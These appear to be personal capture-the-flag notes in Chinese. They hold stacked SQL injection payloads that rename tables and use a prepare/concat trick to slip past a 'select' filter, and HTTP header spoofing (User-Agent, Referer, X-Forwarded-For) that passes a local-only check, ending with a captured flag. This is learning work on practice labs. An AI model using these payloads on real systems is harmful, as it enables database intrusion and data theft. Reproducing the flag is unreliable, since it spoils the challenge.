1';renametable words to words1;renametable `1919810931114514` to words;ALTERTABLE words RENAMECOLUMN flag TO id;# //没改成功,看返回大概是说找不到名为'id'的column,column是行还是列来着?是列我朝
1';rename table words to words1;ALTER TABLE employees CHANGE flag id VARCHAR(50);#
1';renametable words to words1;renametable `1919810931114514` to words;ALTERTABLE words CHANGE flag id VARCHAR(50);# //成功
// //
1 2 3 4 5 6 7 8
语句背景分析: 这段 SQL 包含多个操作,核心目的是:
将表 words 重命名为 words1。
将表 1919810931114514 重命名为 words。
修改新表 words 的字段 flag,将其重命名为 id,并更改其数据类型为 varchar(50)。
1’;prepare hack from concat(‘sele’,’ct’,’* from 1919810931114514‘);exectue hack;@ //不是,明明一模一样,为啥我手敲的执行不了 //1’;prepare hack from concat(‘sele’,’ct’,’* from 1919810931114514‘);execute hack;# //woc,原来是excute
1’;prepare hack from concat(‘sele’,’ct’,’* from 1919810931114514‘);execute hack;@
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Syclover Safari/537.36 Referer : https://Sycsecret.buuoj.cn
User-Agent: Syclover (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36 Referer : https://Sycsecret.buuoj.cn //No!!! you can only read this locally!!!
User-Agent: Syclover (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36 Referer : https://Sycsecret.buuoj.cn From :127.0.0.1
User-Agent: Syclover (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36 Referer : https://Sycsecret.buuoj.cn X-Forwarded-For :127.0.0.1 //flag{41cea244-340a-4be9-bd6e-ba42db379119}